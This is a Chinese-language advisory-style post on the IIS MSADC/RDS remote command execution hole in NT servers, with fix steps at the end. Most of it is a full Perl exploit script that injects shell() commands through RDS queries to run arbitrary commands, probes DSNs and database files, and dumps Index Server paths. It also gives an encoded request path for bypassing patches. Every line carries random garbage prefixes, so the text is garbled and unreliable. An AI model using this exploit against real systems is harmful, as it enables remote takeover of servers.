IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
cSm%s (V HL{rj 涉及程序:
Xp}Yw"7 Microsoft NT server
)=etG 6w@ Ii; 描述:
Y(d$ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
$O5UyKI )<Hd T 详细:
s
S7c! 如果你没有时间读详细内容的话,就删除:
vZBc!AW c:\Program Files\Common Files\System\Msadc\msadcs.dll
E^SH\5B 有关的安全问题就没有了。
-bU oCF0 9*(aUz9j 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
|*0<M(YXN BGu?<bET 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
a 7,C>%I 关于利用ODBC远程漏洞的描述,请参看:
C;vtY[}< Vkc#7W( http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm w/ K_B:s HC}YY2 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
*VZ5B<Ic http://www.microsoft.com/security/bulletins/MS99-025faq.asp r#B+(X7LM "^]cQ"A 这里不再论述。
r#Oo
nZ _Wa.JUbv 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
(/j); oSK W!&vul5 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Jtk|w[4L 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
aX }P|l GF^071]G 6}oXP_0U #将下面这段保存为txt文件,然后: "perl -x 文件名"
,9o"43D:a| dB5b@9* #!perl
E}tqQ*u #
5EfS^MRf\n # MSADC/RDS 'usage' (aka exploit) script
G@Z?&" #
7?%k7f # by rain.forest.puppy
v*[.a#1^ #
AD<q%pu&H? # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
X<%Q"2hW # beta test and find errors!
mFZ?hOyP. ]V#M%0:Q82 use Socket; use Getopt::Std;
9^p;UA getopts("e:vd:h:XR", \%args);
4BKI-;v$ \<)9?M : print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
4zo5}L`Y %V ;? if (!defined $args{h} && !defined $args{R}) {
M%0C_=zg print qq~
JQ@E>o7_ Usage: msadc.pl -h <host> { -d <delay> -X -v }
[Yc G(^^ -h <host> = host you want to scan (ip or domain)
McQe1 -d <seconds> = delay between calls, default 1 second
d$Pab* -X = dump Index Server path table, if available
2FW\O0U -v = verbose
oczN5YSt -e = external dictionary file for step 5
`6xkf&Kt lh;:M-b9 Or a -R will resume a command session
>M/V oV xsMBC
~; exit;}
~'CE[G5 XUlS\CH@{ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
Uh):b%bS;J if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
fk x \= if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
a,WICv0E if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
L');!/: $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
:d#VE-e if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
jyZWVL:_ eXf22;Lz if (!defined $args{R}){ $ret = &has_msadc;
b8LLr;oQw die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
y`XU~B)J1 wLOB}ZMT print "Please type the NT commandline you want to run (cmd /c assumed):\n"
9^G/8<^^> . "cmd /c ";
Aw5HF34J $in=<STDIN>; chomp $in;
S :<Nc{C $command="cmd /c " . $in ;
Gnq?"</ }=]M2} if (defined $args{R}) {&load; exit;}
3S}Pm2D2 w_{wBL[3e print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
?pB>0b~3- &try_btcustmr;
7w6cwHrL@ F ;2w1S^ print "\nStep 2: Trying to make our own DSN...";
cj'}4( &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
]n~ilS.rkl ~"kb7Fxp print "\nStep 3: Trying known DSNs...";
Ot6aRk &known_dsn;
pv Gf\pu +y3%3EKs1~ print "\nStep 4: Trying known .mdbs...";
aN8|J?JH &known_mdb;
LB a[:j2 3 C<L if (defined $args{e}){
cZ2kYn8 print "\nStep 5: Trying dictionary of DSN names...";
[CXrSST")E &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
?3.b{Cq{- j?x>_#tIY print "Sorry Charley...maybe next time?\n";
]33>m|?@ exit;
?}U(3 "\o+v|; ##############################################################################
-RvQB cLsV`@J(k sub sendraw { # ripped and modded from whisker
@8ppEFw sleep($delay); # it's a DoS on the server! At least on mine...
`6]%P(#a my ($pstr)=@_;
5MtLT#C3r socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
n' q4 die("Socket problems\n");
S9~+c if(connect(S,pack "SnA4x8",2,80,$target)){
&b%zQ4%d-` select(S); $|=1;
PC-"gi=h print $pstr; my @in=<S>;
+2&@x=xy select(STDOUT); close(S);
a+Kj1ix return @in;
N%*5 T[. } else { die("Can't connect...\n"); }}
j+uLV{~g6 P<a)25be/ ##############################################################################
jT]0WS-b :6 Lx@ sub make_header { # make the HTTP request
Yd=>K HVD my $msadc=<<EOT
sEGO2xeI POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
.@@?Pj?) User-Agent: ACTIVEDATA
^!<BQP7 Host: $ip
[k;\S XDZo Content-Length: $clen
SfaQvstN Connection: Keep-Alive
[nrYpb4
G(G{RAk> ADCClientVersion:01.06
@c;|G$E@3 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
4O )1uF; V`XNDNJ: --!ADM!ROX!YOUR!WORLD!
lrIS{MJ+- Content-Type: application/x-varg
Hn%xDJ' Content-Length: $reqlen
opy("qH PE3vQH=t~ EOT
3@M|m<_R$ ; $msadc=~s/\n/\r\n/g;
;kS&A( return $msadc;}
sP;nGQ.eN 0;AA/ ##############################################################################
z6jc8Z=O IDB+%xl#S sub make_req { # make the RDS request
w1OI4C)~ my ($switch, $p1, $p2)=@_;
)GM41t1i my $req=""; my $t1, $t2, $query, $dsn;
C1m]*}U LE9(fe) fe if ($switch==1){ # this is the btcustmr.mdb query
%t" CX5n $query="Select * from Customers where City=" . make_shell();
pgE}NlW $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
_/6!yyl $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
;>?rP88t qUob?|
^ elsif ($switch==2){ # this is general make table query
X.f>'0i $query="create table AZZ (B int, C varchar(10))";
s'E2P[: $dsn="$p1";}
1DE<rKI jB$IyQ;@ elsif ($switch==3){ # this is general exploit table query
Ay5i+)MD $query="select * from AZZ where C=" . make_shell();
V'8s8H $dsn="$p1";}
t\{'F7 `_` QxM elsif ($switch==4){ # attempt to hork file info from index server
`.FF!P:{C* $query="select path from scope()";
M^r1S $dsn="Provider=MSIDXS;";}
[<g?WPCcC u'|4?"uz elsif ($switch==5){ # bad query
||hb~%JK6 $query="select";
PT=2@kH $dsn="$p1";}
gcPTLh[^Er TarIPp $t1= make_unicode($query);
723bkJw
V $t2= make_unicode($dsn);
#\.,? A}9 $req = "\x02\x00\x03\x00";
]B%v+uaW $req.= "\x08\x00" . pack ("S1", length($t1));
_wkVwPr $req.= "\x00\x00" . $t1 ;
5Iy;oZ $req.= "\x08\x00" . pack ("S1", length($t2));
/%}*Xh $req.= "\x00\x00" . $t2 ;
q)S^P> $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
ZUVA EH% return $req;}
Ma.`A #fM#p+v ##############################################################################
@eD):Y E9Np 0M< sub make_shell { # this makes the shell() statement
6y+Kjd/D return "'|shell(\"$command\")|'";}
F)&@P-9+ 75"f2; ##############################################################################
B$ajK`x&I DcoX+8 7 sub make_unicode { # quick little function to convert to unicode
%k-3?%&8 my ($in)=@_; my $out;
;aI[=?<x for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
Hfwq/Is return $out;}
b J=Jg~& ewa wL" ##############################################################################
(l-tvk4Ln =XucOli6 sub rdo_success { # checks for RDO return success (this is kludge)
^?0DP>XA my (@in) = @_; my $base=content_start(@in);
!MYSfPdS if($in[$base]=~/multipart\/mixed/){
x }\64 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
'Jt]7;04p return 0;}
a`&f Qy^1*j<@& ##############################################################################
-=)+dCyB^ YQ+tDZY8` sub make_dsn { # this makes a DSN for us
PD&\LbuG my @drives=("c","d","e","f");
ORyE`h print "\nMaking DSN: ";
])|d"[ur= foreach $drive (@drives) {
LR.Hh print "$drive: ";
u.d).da my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
J7= + "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
,sA[)wP { . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
#33fGmd[ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
Y
;u<GOe return 0 if $2 eq "404"; # not found/doesn't exist
eqP&8^HP if($2 eq "200") {
),U X4%K= foreach $line (@results) {
vy0X_DPCr return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
u.mJQDTH } return 0;}
lsNrAA%m P|.] DJ ##############################################################################
BGOuDKz9C Wc,~ { sub verify_exists {
lJu;O/ my ($page)=@_;
^HV>`Pjd}= my @results=sendraw("GET $page HTTP/1.0\n\n");
:n0vQ5a return $results[0];}
ln?v
j)j D B-l$rj ##############################################################################
d]:I(9K &(xH$htv1 sub try_btcustmr {
(]Y 5eM my @drives=("c","d","e","f");
!V
i@1E my @dirs=("winnt","winnt35","winnt351","win","windows");
:}@g6 ?TU }~} foreach $dir (@dirs) {
wPwXM! print "$dir -> "; # fun status so you can see progress
G0^2Wk[ foreach $drive (@drives) {
E|6VX4`+ print "$drive: "; # ditto
?kB2iU_f+ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
il:$sd $reqlenlen=length( "$reqlen" );
dIRm q+d^ $clen= 206 + $reqlenlen + $reqlen;
B[Zjfc L1Iz<> my @results=sendraw(make_header() . make_req(1,$drive,$dir));
}>VG~u8 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
,PWgH$+ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
v"OY 1<8 u%$Zqee ##############################################################################
1oN^HG6O ENGg
~D sub odbc_error {
;9#Z@]p my (@in)=@_; my $base;
ev#;t@^ my $base = content_start(@in);
@+ BrgZv` if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
?q;Fp $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
ReM=eS $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
S5G6Rj@W $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
^xij{W`| return $in[$base+4].$in[$base+5].$in[$base+6];}
nij!1z|M print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
t4-pM1]1_
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
rmE" rf $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
@>E2?CV 2ioQb`= ##############################################################################
\Dd-Xn_b b+f'[; sub verbose {
'J6
M*vO my ($in)=@_;
0el9&l9Ew return if !$verbose;
&8] d }-e print STDOUT "\n$in\n";}
HmiJ~C_v`: t5#rps\; ##############################################################################
0o9 3iu=& qL6
|6-? sub save {
Y@b.sMg{ my ($p1, $p2, $p3, $p4)=@_;
l)!n/x_ ! open(OUT, ">rds.save") || print "Problem saving parameters...\n";
8erSt!oM print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
!!`!|w close OUT;}
't6V:X /)4I|"}R0I ##############################################################################
_g~qu
[1 yp66{o
sub load {
{3.r6ZwCn my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
OU/MiyP2 open(IN,"<rds.save") || die("Couldn't open rds.save\n");
>]W)'lnO @p=<IN>; close(IN);
j{Txl\D> $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
8AnP7}n;?' $target= inet_aton($ip) || die("inet_aton problems");
m"o ;L3 print "Resuming to $ip ...";
q~*t@ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
V}SBuQp" if($p[1]==1) {
-eN\ ! $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
unBy&?&p $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
'rr^2d]`ST my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
7LU}Iiv if (rdo_success(@results)){print "Success!\n";}
j&
<i& else { print "failed\n"; verbose(odbc_error(@results));}}
wAxrc+ elsif ($p[1]==3){
|Tm!VFd if(run_query("$p[3]")){
?_Q/}@` print "Success!\n";} else { print "failed\n"; }}
Hrz f'a|^ elsif ($p[1]==4){
t| 'N+-T3 if(run_query($drvst . "$p[3]")){
uvV;Mlo] print "Success!\n"; } else { print "failed\n"; }}
opJMS6%r exit;}
JM\m)RH0 ])Qs {hs~s ##############################################################################
$pFo Rv w);6K[+; sub create_table {
tX"Th'Qi my ($in)=@_;
"B8"_D& $reqlen=length( make_req(2,$in,"") ) - 28;
CJXg@\\/ $reqlenlen=length( "$reqlen" );
+{L<? " $clen= 206 + $reqlenlen + $reqlen;
>$,y5 AJ& my @results=sendraw(make_header() . make_req(2,$in,""));
^4`Px/& return 1 if rdo_success(@results);
* C6a?] my $temp= odbc_error(@results); verbose($temp);
h?FmBK'BAd return 1 if $temp=~/Table 'AZZ' already exists/;
qq1 - DG return 0;}
SJ};TEA
ul ER1\W ##############################################################################
jD`d#R K%Rj8J7|u? sub known_dsn {
GKFq+]W # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
(<Th=Fns? my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
*s>BG1$< "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
}Iz7l{al "banner", "banners", "ads", "ADCDemo", "ADCTest");
z ly unJD( o)[2@fRC( foreach $dSn (@dsns) {
?&^?-S% p print ".";
-pE(_ next if (!is_access("DSN=$dSn"));
YNBHBK4; if(create_table("DSN=$dSn")){
/g$G_} print "$dSn successful\n";
x
$zKzfHW if(run_query("DSN=$dSn")){
W5' 3$,X9 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
N?m0USu* print "Something's borked. Use verbose next time\n";}}} print "\n";}
PT5AA8F vYU;_R ##############################################################################
=Mb1o[ (} 5S sub is_access {
h#hxOVl%x my ($in)=@_;
5 XA=G $reqlen=length( make_req(5,$in,"") ) - 28;
I6s3+x;O $reqlenlen=length( "$reqlen" );
|/| $clen= 206 + $reqlenlen + $reqlen;
`WOYoec
my @results=sendraw(make_header() . make_req(5,$in,""));
yj$TPe_BW my $temp= odbc_error(@results);
,.o<no verbose($temp); return 1 if ($temp=~/Microsoft Access/);
KPpHwcYxT return 0;}
G5,~Z&}YS )|I5j];L ##############################################################################
v*qQ? S v i)%$~ sub run_query {
3J=Y9 } my ($in)=@_;
N|Sf=q?Ko $reqlen=length( make_req(3,$in,"") ) - 28;
Go&D[# $reqlenlen=length( "$reqlen" );
i"j(b|?e $clen= 206 + $reqlenlen + $reqlen;
2PR^:h2 my @results=sendraw(make_header() . make_req(3,$in,""));
0ilCS[`b return 1 if rdo_success(@results);
0K-*WQ*#9 my $temp= odbc_error(@results); verbose($temp);
8p!*?RRme[ return 0;}
&
``d D)brPMS:o ##############################################################################
sncIqsZ cFagz* ! sub known_mdb {
G8I Y# my @drives=("c","d","e","f","g");
Ji;mHFZ*FU my @dirs=("winnt","winnt35","winnt351","win","windows");
aRc ' my $dir, $drive, $mdb;
b`_w])Y@ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
'?Jxt:< e\b`n}nC # this is sparse, because I don't know of many
PjIeZ&p my @sysmdbs=( "\\catroot\\icatalog.mdb",
=D^TK-H "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
s6}Xt=j "\\system32\\certmdb.mdb",
SjEdyN# "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
!4rPv\ RA jkH` my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
~=Ncp9ej# "\\cfusion\\cfapps\\forums\\forums_.mdb",
rz(0:vxwA "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
F#{gfh "\\cfusion\\cfapps\\security\\realm_.mdb",
K+T.o6+ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
i%#$* "\\cfusion\\database\\cfexamples.mdb",
=_[Z W "\\cfusion\\database\\cfsnippets.mdb",
ntP|\E "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
-~4+w "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
SjdZyJa "\\cfusion\\brighttiger\\database\\cleam.mdb",
F.)!3YE "\\cfusion\\database\\smpolicy.mdb",
.]|Zf!>}s "\\cfusion\\database\cypress.mdb",
QI_59f> "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
]/T-t1D "\\website\\cgi-win\\dbsample.mdb",
x>~p;z#VX "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
~B$b)`* "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
Y1dVM]l ); #these are just
@S 6u9v foreach $drive (@drives) {
D^Ys)- d foreach $dir (@dirs){
t!_x(u foreach $mdb (@sysmdbs) {
Be}$I_95\P print ".";
8#` 6M5 if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
= c~I
. print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
gNx+>h`AF if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
uvA(Rn print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
nVD Xj } else { print "Something's borked. Use verbose next time\n"; }}}}}
Yn9j-` A.Bk/N1G foreach $drive (@drives) {
Iwpbf Z foreach $mdb (@mdbs) {
%TrF0{NR90 print ".";
$gMCR
b, if(create_table($drv . $drive . $dir . $mdb)){
%So]3;' print "\n" . $drive . $dir . $mdb . " successful\n";
P=H+ # if(run_query($drv . $drive . $dir . $mdb)){
cywg[ print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
a)2yE,": } else { print "Something's borked. Use verbose next time\n"; }}}}
e(1k0W4B }
&!35/:~uD Ih1|LR/c ##############################################################################
*T4<& PG,U6c # sub hork_idx {
D{'#er print "\nAttempting to dump Index Server tables...\n";
&HM-g7|C0E print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
Ak~4|w- $reqlen=length( make_req(4,"","") ) - 28;
;TZGC).6 $reqlenlen=length( "$reqlen" );
`dJDucD $clen= 206 + $reqlenlen + $reqlen;
V)D-pV V my @results=sendraw2(make_header() . make_req(4,"",""));
A6ewdT?>, if (rdo_success(@results)){
Qrz4}0 my $max=@results; my $c; my %d;
#X.+ for($c=19; $c<$max; $c++){
tiLu75vj $results[$c]=~s/\x00//g;
uv4 _: $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
-PAF p3w\y $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
sXl ??UGe $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
uC~g#[I QM $d{"$1$2"}="";}
SvK1.NUa foreach $c (keys %d){ print "$c\n"; }
)Mzt3u } else {print "Index server doesn't seem to be installed.\n"; }}
@XOi62( hbuZaxo< ##############################################################################
dyQh:u
- \Kd7dK9&] sub dsn_dict {
~hURs;Sb open(IN, "<$args{e}") || die("Can't open external dictionary\n");
${U6= while(<IN>){
oVZ4bRl $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
b"8FlZ$ next if (!is_access("DSN=$dSn"));
{U
<tc4^ if(create_table("DSN=$dSn")){
.R5/8VuHF print "$dSn successful\n";
/~}_h O$S if(run_query("DSN=$dSn")){
ZHy><=2 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
~uPk print "Something's borked. Use verbose next time\n";}}}
J(d2:V{h print "\n"; close(IN);}
%OI4a5V*l F(CRq`
##############################################################################
W._G0b4} =cfm=+ sub sendraw2 { # ripped and modded from whisker
0->/`/xm sleep($delay); # it's a DoS on the server! At least on mine...
D6!t VdnVe my ($pstr)=@_;
jXEGSn socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
I$N7pobh die("Socket problems\n");
5_G'68;OV if(connect(S,pack "SnA4x8",2,80,$target)){
k)E ;( print "Connected. Getting data";
8wiA open(OUT,">raw.out"); my @in;
<q7s`,rG select(S); $|=1; print $pstr;
\7E`QY4 while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
0~xaUM` close(OUT); select(STDOUT); close(S); return @in;
|vy]8?Ak } else { die("Can't connect...\n"); }}
v#=ayWgk -,>:DUN2 ##############################################################################
jA2ofC v7@H\x* sub content_start { # this will take in the server headers
`?SG XXC my (@in)=@_; my $c;
w67xl for ($c=1;$c<500;$c++) {
8Nvr93T, if($in[$c] =~/^\x0d\x0a/){
N^@
\tg= if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
II# else { return $c+1; }}}
/8p&Qf>lJ1 return -1;} # it should never get here actually
Q=.g1$LP * NMQ ##############################################################################
z\[(g `2x 34 sub funky {
hZ#\t my (@in)=@_; my $error=odbc_error(@in);
-]&<Sr- if($error=~/ADO could not find the specified provider/){
fjkT5LNxk print "\nServer returned an ADO miscofiguration message\nAborting.\n";
psD[j W exit;}
szn%wZW if($error=~/A Handler is required/){
r"]Oe$[# print "\nServer has custom handler filters (they most likely are patched)\n";
T` ;k!F46 exit;}
3Vu8F" if($error=~/specified Handler has denied Access/){
CTU9~~Xk print "\nServer has custom handler filters (they most likely are patched)\n";
s<{GpWT8 exit;}}
zMU68vwM pSrsp r ##############################################################################
h]C2 8=N A}eOR=E sub has_msadc {
ocP*\NR my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
~}%&p&
p my $base=content_start(@results);
L` [F~$| return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
*'^:S#= return 0;}
7S2c|U4IM 0HPO"x3-O ########################
l-=e62I{=| E<a.LW@ (qk5f`O 解决方案:
M;@Ex`+?i 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
|
W?[,|e 2、移除web 目录: /msadc